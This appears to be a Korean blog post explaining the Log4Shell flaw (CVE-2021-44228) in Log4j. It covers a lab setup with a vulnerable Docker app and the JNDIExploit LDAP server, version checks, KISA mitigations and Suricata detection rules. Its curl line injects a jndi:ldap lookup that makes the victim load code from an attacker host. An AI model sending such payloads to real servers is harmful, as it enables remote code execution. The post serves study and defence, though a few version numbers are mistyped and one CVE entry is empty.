CVE/2021

CVE-2021-44228 / Log4j

RNRF 2021. 12. 22. 16:34

* Log4j 

CVE-ID CVE-2021-44228
Desciption Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
번역 구성, 로그 메시지 및 매개 변수에 사용되는 Apache Log4j2 2.0-beta9 ~ 2.12.1 및 2.13.0 ~ 2.15.0 JNDI 기능은 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트로부터 보호되지 않습니다. 메시지 조회 대체가 활성화된 경우 로그 메시지 또는 로그 메시지 매개 변수를 제어할 수 있는 공격자는 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다. log4j 2.15.0부터는 기본적으로 이 동작을 사용할 수 없습니다. 버전 2.16.0부터는 이 기능이 완전히 제거되었습니다. 이 취약성은 log4j-core로 한정되며 log4net, log4cxx 또는 기타 Apache Logging Services 프로젝트에는 영향을 주지 않습니다.

: 해석 - 2.14.1 이하의 log4j2에 포함되어 있는 JNDI 기능이 공격자의 LDAP 및 기타 JNDI 관련 엔드포인트로부터 악용될 수 있다는 것이다.

: Log4j란?
-> Log4j는 Ceki Gülcü가 처음 개발한 자바 기반 로깅 유틸리티이다. 아파치 소프트웨어 재단의 프로젝트 아파치 로깅 서비스의 일부이다. 또, Log4j는 여러 자바 로깅 프레임워크들 가운데 하나이다. (출처: 위키백과)
-> log4j는 로그를 자동으로 출력해 주는 오픈소스 라이브러리입니다.
출력하고자 하는 log를 "콘솔", "로그 파일", "DB 로그" 등으로 남길 수 있습니다. (출처: https://wooncloud.tistory.com/65)

->> 자바 기반의 로깅 유틸리티이다.

-> 로그 출력하기 - 테스트로 log4j를 이용한 로그 출력 (출처: https://wooncloud.tistory.com/65)

import org.apache.log4j.Logger;
 
public class Log4j_Test {
    
    // log4j의 설정은 log4j.properties / log4j.xml 설정으로 한다.
    // Argument로  출력이 될 객체의 Class(클래스명)를 선택함으로서 로그를 선별적으로 출력할 수 있다.
    private Logger logger = Logger.getLogger(Log4j_Test.class);
    
    // 출력이 될 객체의 클래스를 선택한 logger 객체를 생성하여 각 레벨의 로그를 출력한다.
    // log4j.properties / log4j.xml 으로 설정한대로 로그가 출력되어 나온다.
    public void userLogger() {
        logger.trace("trace");
        logger.debug("debug");
        logger.info("info");
        logger.warn("warn");
        logger.error("error");
        logger.fatal("fatal");
    }
}


->> 다음과 같이 userLogger를 출력

Log4j_Test log = new Log4j_Test();
log.userLogger();

->> 위의 userLogger 코드에서 Log4j 레벨을 확인할 수 있다.

FATAL -> ERROR -> WARN -> INFO -> DEBUG -> TRACE

->> 결과 -  콘솔 출력 : 로그가 나오는 것은 "log4j.properties" 설정에 따라 아래와 같은 모양이 나타난다.

->> 패턴 - log4j.appender.consoleAppender.layout.ConversionPattern=[%d] [%-5p] %c %x - %m%n

  • [%d] : 날짜와 시간입니다.
  • [%-5p] : 5자리 글자 고정으로 디버그 레벨을 나타냅니다.
  • %c :  카테고리가 출력이 됩니다.
  • %x : 로깅이 발생한 thread와 관련된 NDC(nested diagnostic context) 출력됩니다.
  • %m : 로그 내용이 출력됩니다.
  • %n : 개행문자 입니다.

->> 결과 - 파일 출력 : log4j는 log 파일로 출력이 가능하다. 아래 경로를 통해서 파일에 잘 출력된다.
->>> log4j.appender.fileAppender.File=c:/log/log4j.log

-> 즉, 로그 레벨 설정하고, 로그 남기기 위한 자바 기반 로깅 유틸리티이다.

: JNDI (Java Naming and Directory Interface)란?
-> JNDI는 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견하고 참고(lookup)하기 위한 자바 API다. (출처: 위키백과)

: 디렉터리 서비스?
-> 디렉토리 서비스는 컴퓨터 네트워크의 사용자와 네트워크 자원에 대한 정보를 저장하고 조직하는 응용 소프트웨어이다. (출처: 위키백과)

-> 즉, JDNI는 자바에서 디렉터리 서비스를 가져다 쓰기 위한 API라고 이해하면 된다.

: LDAP (Lightweight Directory Access Protocol)란?
-> 디렉터리 서비스를 이용하기 위한 쿼리 프로토콜.
-> Active Directory는 사용자, 컴퓨터, 프린터 등 IT 자산을 구성하는 데 사용되는 Microsoft 제품입니다. 따라서 대부분의 Microsoft Office 및 Server 제품과 통합됩니다. LDAP(Lightweight Directory Access Protocol)는 서비스가 아닌 프로토콜이며, Active Directory를 포함해 다양한 유형의 디렉터리와 통신 및 쿼리하는 데 사용됩니다.

: 현재까지의 3개의 개념을 정리해보면?
-> Log4j - 로그 레벨을 설정하고 로그를 남기기 위한 자바 기반 로깅 유틸리티
-> JNDI - 자바에서 디렉터리 서비스를 가져다 쓰기 위한 API
-> LDAP - 디렉터리 서비스를 이용하기 위한 쿼리 프로토콜

: Mitre 설명 중 일부분.
-> Log4j2 JNDI features do not protect against attacker controlled LDAP. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
->> Log4j 유틸리티에는 JDNI라는 디렉터리 서비스를 사용하기 위한 LDAP 쿼리가 가능한 API가 있는데 공격자는 이를 악용할 수 있다' 는 말이다. 참고로 LDAP만 얘기했지만 LDAP 이외에 rmi, dns 등 다른 프로토콜로도 악용 가능하다.

 

* 동작 원리 테스트 및 조치 방안 (취약 환경 구성 및 테스트) (출처: https://always-try.tistory.com/ & https://github.com/christophetd/log4shell-vulnerable-app)
: 1. 스프링 부트 docker 이미지 실행
-> 스프링 부트란?
->> 자바 기반 스프링 프레임워크의 서브 프로젝트인데 웹 컨테이너가 내장되어 있어 쉽게 웹 어플레케이션을 만들 수 있는 프로젝트이다.

-> EC2 생성 후 스프링 부트 이미지 실행을 위해 아래 명령어를 입력.

yum install docker dockerd docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app docker ps

: 2. 악성 LDAP Server 구동
-> LDAP Server를 구동하기 위한 jar 파일을 받아서 실행.

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip yum install java-1.8.0-openjdk-devel.x86_64 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

: 3. 취약점 실현
-> Curl을 통해 취약점 실현을 시켜보자. 아래 명령어에 dG91Y2ggL3RtcC9wd25lZAo= 는 Base64 인코딩 된 값으로 디코딩해보면 'touch /tmp/pwned'라는 것을 알 수 있다. 그리고 curl -H 옵션을 통해 X-Api-Version 의 Value 값에 공격자가 구성한 LDAP 서버 IP를 포함한 명령어를 전달한다. 참고로 테스트는 X-Api-Version 이라는 파라미터를 썼지만 실제로 공격은 User-Agent 파라미터를 통해 자주 들어오기도 한다.

curl 127.0.0.1(victim-ip):8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip(attacker-ip):1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

-> 아래와 같이 LDAP IP:1389~~ 커맨드가 HTTP로 리다이렉트 되었다가 악의적인 명령어(touch /tmp/pwned)를 응답한다.

: 4. 기타
-> 이외에도 취약점 발현 확인을 위해 dnslog.cn 사이트를 이용하는 방법도 있긴한데, 괜히 중국이라고 하니 찝찝하다. 구문만 알아두자. 이전에 했던 것과 비슷하게 ldap 쿼리 부분에 원하는 도메인을 넣고 도메인 쿼리가 가능한지 확인하는 방식이다.

 

 

* 취약점 점검 및 대응 방안
: KISA 공식 가이드
□ 영향을 받는 버전
o Apache Log4j 2
- 2.0-beta9 ~ 2.14.1 모든버전
o Apache Log4j 2를 사용하는 제품
※ 참고 사이트 [4]를 확인하여 해당 제품을 이용 중일 경우, 해당 제조사의 권고에 따라 패치 또는 대응 방안 적용

□ 해결방안[1]
o 제조사 홈페이지를 통해 최신버전(2.15.0)으로 업데이트 적용[3]
※ log4j 1.x버전 사용자의 경우 추가적인 업그레이드 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전 업데이트 적용 권고

o 최신버전으로 업데이트가 어려운 경우 사용중인 버전확인 후 버전별 조치 적용
- (버전확인방법)
1. log4j가 설치된 경로의 "pom.xml"파일을 열어 "log4j-core"로 검색
2. 검색결과 "사용버전(version)" 확인가능
- (조치방법) 2.0-beta9 ~ 2.10.0
※ JndiLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- (조치방법) 2.10 ~ 2.14.1
※ log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정

□ 탐지정책
o Log4j 취약점 관련 탐지정책(시그니처)
- 참고사이트 [5]를 참고하여 Log4j로 검색하여 탐지정책 확인
※ 본 탐지정책은 내부 시스템 환경에 따라 다르게 동작할 수 있으며, 시스템 운영에 영향을 줄 수 있으므로 충분한 검
토 후 적용 바랍니다.
※ 공개된 탐지정책은 우회가능성이 있으므로 지속적인 업데이트가 필요합니다.

: 취약점 확인 방법
-> 취약한 Log4j 버전 확인
1. log4j가 설치된 경로의 "pom.xml"파일을 열어 "log4j-core"로 검색
2. 검색결과 "사용버전(version)" 확인가능

find / -name "*log4j*" lsof | grep log4j

->> 취약한 버전의 파일이 존재한다고 해서 모두 다 취약점이 발생하는 것은 아니다. 취약한 파일이 존재하더라도 네트워크 환경 및 log4j 사용 방식에 따라 다를 수 있다.

-> 먼저 네트워크 환경을 포함한 영향도에 알아보자. 해당 공격에 대해 자세한 네트워크 환경 소개가 있는 사이트에서 구성도를 가져와본다.

출처: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

-> 위 그림을 참고해서 공격이 성공하지 않을 수 있는 상황을 하나씩 풀어보자면 아래와 같다. 아래 예시 중 1개라도 막힌다면 공격이 수행되지 않는다.

  1. WAF(Web Application Firewall)에서 공격자의 패턴을 막는 경우
  2. log4j를 사용하는 시스템이 없는 경우
  3. 2.15.0 이상의 log4j를 사용하는 경우
  4. log4j의 JNDI LookUp이 비활성화 되어 있는 경우
  5. log4j를 사용하지만 공격자가 알 수 없는 형태의 파라미터로 로그를 남기는 경우
  6. log4j를 사용하는 시스템에서 LDAP 등 JNDI 엔드포인트와 통신이 불가능한 경우
    • 사내에 LDAP 서버가 공격자가 사내 LDAP 서버의 주소를 모르는 경우
    • log4j 사용 시스템에서 (공격자가 구축한) 외부 LDAP 서버까지 통신이 불가능한 경우 (공격 패턴에 IP가 들어가 있다면 IP나 포트  포트 차단, 도메인이 들어가 있다면 DNS만 차단해도 가능)

참고로 모든 공격이 다 외부에 공개된 웹서버를 통해서 시작되는 것은 아니다. 공격은 내부에서도 시작될 수 있다.

그리고 위 예시 중 5번에 대해 조금 더 풀어보자면 취약한 버전의 log4j를 사용하는 경우지만 공격자가 예측할 수 없는 문자열로 로그를 남기는 경우이다. 공격자가 보통 일반적으로 로그를 남길 것이라고 생각되는 User-Agent나 X-API-Version와 같은 헤더 필드를 이용하는데 시스템에서 이러한 헤더 필드를 로그로 남기고 있지 않다면 log4j 동작이 성립되지 않기 때문에 취약점으로 인한 추가 피해가 발현되지 않을 수 있다.

그리고 특정 시스템의 환경 및 애플리케이션 구성에서 실제 취약점이 발현되는지 테스트 할 있는 방법에 대해 소개한다. 당연히 가장 안전한건 사내에 동일한 환경을 구성하고 테스트 해보는 것인데, 여간 번거로운게 아니다. 따라서 이미 공개되어 있는 방법 중 그나마 편한 방법에 대해서 소개한다. 바로 huntress라는 업체에서 제공하는 https://log4shell.huntress.com/ 를 활용하는 것이다. 아마도 해당 업체에서 테스트를 위해 ldap 서버를 구축하고 제공해주는 것으로 보인다.

사용법은 간단하다. 홈페이지에 접속하면 아래와 같이 고유 값이 존재하는 패턴이 생성되는데 해당 패턴을 확인하고 싶은 시스템에 전달하면 된다. 아래 패턴은 30분간만 유효하며, 30분 뒤에는 초기화 되는 값이라고 소개되어져 있다.

${jndi:ldap://log4shell.huntress.com:1389/971aae7e-b55b-49ab-a867-082a700ba595}
curl victim-ip:port -H 'X-Api-Version(로그 남기는 헤더 필드): ${jndi:ldap://attacker-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

 

-> 버전 별 조치 방안 (2.15 업데이트 제외)
->> log4j 버전이 2.0 ~ 2.10.0 사이의 버전이라면 jar 파일을 unzip 해서 JndiLookup 클래스를 제거하고 다시 jar 파일을 묶어주면 된다. jar 파일을 풀면 org/apache/logging/log4j/core/lookup/JndiLookup.class 라는 파일이 있는데 이걸 삭제하고 묶으면 된다. 한번에 하는 명령어는 아래와 같다.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

약 2.10 ~ 2.14.1 사이의 버전을 사용하고 있다면 log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정 하라고 한다. 의미는 알겠다. 근데 어떻게 하라는 말일까??먼저 첫번째는 자바 실행 시 인자 값으로-Dlog4j2.formatMsgNoLookups=true 라는 값을 주고 실행하라는 의미이다. 다음은 Java 실행 계정 환경 변수나 시스템 변수로LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정하라는 의미이다.

그리고 가이드 상 Log4j 취약점 관련 탐지정책(시그니처)으로 나와 있는 룰은 아래와 같으며, 이외에도 새로운 패턴이 있을 수 있기 때문에 서버에 취약한 버전의 패치가 남아있다면 전부 패치가 되기 전까지는 꾸준한 모니터링이 필요하다.

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034647; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034648; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034649; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034650; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp rmi) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034652; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp ldap) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034651; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp dns) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034653; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp dns) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034654; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http dns) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034655; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp ldaps) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034656; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp ldaps) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034657; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldaps) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034658; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt - lower/upper TCP Bypass (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|"; nocase; fast_pattern; pcre:"/^(l|r|d|\x24\x7b(lower|upper)\x3a(l|r|d)\x7d)(d|n|m|\x24\x7b(lower|upper)\x3a(d|n|m)\x7d)(a|i|s|\x24\x7b(lower|upper)\x3a(a|i|s)\x7d)(p|\x24\x7b(lower|upper)\x3a(p)\x7d)/Ri"; content:"|3a 2f 2f|"; distance:0; reference:cve,2021-44228; classtype:attempted-admin; sid:2034659; rev:1; metadata:attack_target Server, created_at 2021_12_11, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_11;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt - lower/upper UDP Bypass (CVE-2021-44228)"; content:"|24 7b|jndi|3a|"; nocase; fast_pattern; pcre:"/^(l|r|d|\x24\x7b(lower|upper)\x3a(l|r|d)\x7d)(d|n|m|\x24\x7b(lower|upper)\x3a(d|n|m)\x7d)(a|i|s|\x24\x7b(lower|upper)\x3a(a|i|s)\x7d)(p|\x24\x7b(lower|upper)\x3a(p)\x7d)/Ri"; content:"|3a 2f 2f|"; distance:0; reference:cve,2021-44228; classtype:attempted-admin; sid:2034660; rev:2; metadata:attack_target Server, created_at 2021_12_11, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_11;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp iiop) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|iiop|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034667; rev:2; metadata:attack_target Server, created_at 2021_12_11, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_11;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp iiop) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|iiop|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034668; rev:2; metadata:attack_target Server, created_at 2021_12_11, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_11;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt - 2021/12/12 Obfuscation Observed M1 (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|"; fast_pattern; pcre:"/^(j|\x24\x7b(lower|upper)\x3aj\x7d|\x24\x7b\x3a\x3a\-j\x7d)(n|\x24\x7b(lower|upper)\x3an\x7d|\x24\x7b\x3a\x3a\-n\x7d)/Ri"; content:"|3a|"; distance:0; pcre:"/^(l|r|d|\x24\x7b(lower|upper)\x3a(l|r|d)\x7d|\x24\x7b\x3a\x3a\-(l|r|d)\x7d)(d|n|m|\x24\x7b(lower|upper)\x3a(d|n|m)\x7d|\x24\x7b\x3a\x3a\-(d|n|m)\x7d)(a|i|s|\x24\x7b(lower|upper)\x3a(a|i|s)\x7d|\x24\x7b\x3a\x3a\-(a|i|s)\x7d)(p|\x24\x7b(lower|upper)\x3a(p)\x7d)/Ri"; content:"|3a 2f 2f|"; distance:0; reference:cve,2021-44228; classtype:attempted-admin; sid:2034671; rev:1; metadata:attack_target Server, created_at 2021_12_12, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_12;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt - 2021/12/12 Obfuscation Observed M1 (CVE-2021-44228)"; content:"|24 7b|"; fast_pattern; pcre:"/^(j|\x24\x7b(lower|upper)\x3aj\x7d|\x24\x7b\x3a\x3a\-j\x7d)(n|\x24\x7b(lower|upper)\x3an\x7d|\x24\x7b\x3a\x3a\-n\x7d)/Ri"; content:"|3a|"; distance:0; pcre:"/^(l|r|d|\x24\x7b(lower|upper)\x3a(l|r|d)\x7d|\x24\x7b\x3a\x3a\-(l|r|d)\x7d)(d|n|m|\x24\x7b(lower|upper)\x3a(d|n|m)\x7d|\x24\x7b\x3a\x3a\-(d|n|m)\x7d)(a|i|s|\x24\x7b(lower|upper)\x3a(a|i|s)\x7d|\x24\x7b\x3a\x3a\-(a|i|s)\x7d)(p|\x24\x7b(lower|upper)\x3a(p)\x7d)/Ri"; content:"|3a 2f 2f|"; distance:0; reference:cve,2021-44228; classtype:attempted-admin; sid:2034672; rev:1; metadata:attack_target Server, created_at 2021_12_12, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_12;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Possible Apache log4j RCE Attempt - 2021/12/12 Obfuscation Observed M2 (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|"; content:"|24 7b 3a 3a|"; distance:0; within:300; fast_pattern; reference:cve,2021-44228; classtype:attempted-admin; sid:2034673; rev:1; metadata:attack_target Server, created_at 2021_12_12, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_12;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Possible Apache log4j RCE Attempt - 2021/12/12 Obfuscation Observed M2 (CVE-2021-44228)"; content:"|24 7b|"; content:"|24 7b 3a 3a|"; distance:0; within:300; fast_pattern; reference:cve,2021-44228; classtype:attempted-admin; sid:2034674; rev:1; metadata:attack_target Server, created_at 2021_12_12, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_12;)

 

* 버전 별 취약점 및 신규 취약점 대응 방안 정리 (출처: https://always-try.tistory.com/)
-> CVE-2021-44228 해결 방안으로 나온 log4j 2.1.15 버전이 출시되지 얼마되지 않아 2.1.15 버전에 새로운 취약점이 발견되어 최근 보안 조치를 권고혼란을 주고 있다. 이외에도 log4j 관련 된 다양한 취약점이 발견되고 있는데, 이에 log4j 관련 취약점을 한번 정리해보고자 한다. 참고로 대응 방안에 Java 버전별로 다른 log4j 버전을 제시하는데, 이는 Java 7과 8 버전별로 지원하는 log4j의 버전이 다르기 때문인 점을 참고바란다.

1. CVE-2019-17571

  • 취약점 요약: 로그 수집을 위한 소켓기능(SocketServer)에 사용되는 SocketNode 클래스에서 발생하는 취약점
  • 영향 받는 버전: 1.2.x 버전
  • 상세 내용: https://m.blog.naver.com/skinfosec2000/221774181380
  • 대응 방안: log4j 1점대 버전은 더 이상 유지보수가 되지 않으므로 2점대로 업데이트

2. CVE-2021-4104

  • 취약점 요약: Log4j 1.2의 옵션인 JMSAppender를 사용하는 경우 CVE-2021-44228과 유사한 방식으로 원격 코드 실행을 초래하는 JNDI 요청을 수행하도록 할 수 있음
  • 영향 받는 버전: 1.2 버전
  • 상세 내용: https://nvd.nist.gov/vuln/detail/CVE-2021-4104
  • 대응 방안: log4j 1점대 버전은 더 이상 유지보수가 되지 않으므로 2점대로 업데이트

위 2가지 취약점을 고려하여 2점대로 업데이트 할 경우, 아래 2가지 취약점에 대한 추가 고려가 필요하다.

3. CVE-2021-44228

  • 취약점 요약: Log4j JDNI API에서 LDAP 쿼리를 이용한 취약점
  • 영향 받는 버전: 2.0-beta9 ~ 2.14.1 버전 (java 7 버전을 위해 신규 릴리즈 된 Log4j 2.12.2 제외)
  • 상세 내용: https://always-try.tistory.com/174
  • 대응 방안: Java 8의 경우 Log4j 2.15.0으로 업데이트, Java 7의 경우 Log4j 2.12.2으로 업데이트

하지만, log4j 2.15.0 으로 업그레이드 시는 아래 4번 취약점(CVE-2021-45046)이 존재한다.

4. CVE-2021-45046

5. 결론 - 업데이트가 답이다;;;

얼마전에 대응 방안이라고 가이드했던 log4j 2.1.15 버전이 출시된지 얼마나 됐다고 새로운 취약점들이 계속 나와 혼란스럽다. 마지막으로 지금까지 다룬 취약점의 대응 방안을 요약해보자면 아래와 같다. 

  • log4j 1.2.x 버전을 사용하는 경우: 아래 2가지 고려하여 업데이트
  • Java 8에서 log4j를 사용하는 경우: Log4j 2.16.0으로 업데이트
  • Java 7에서 log4j를 사용하는 경우: Log4j 2.12.2으로 업데이트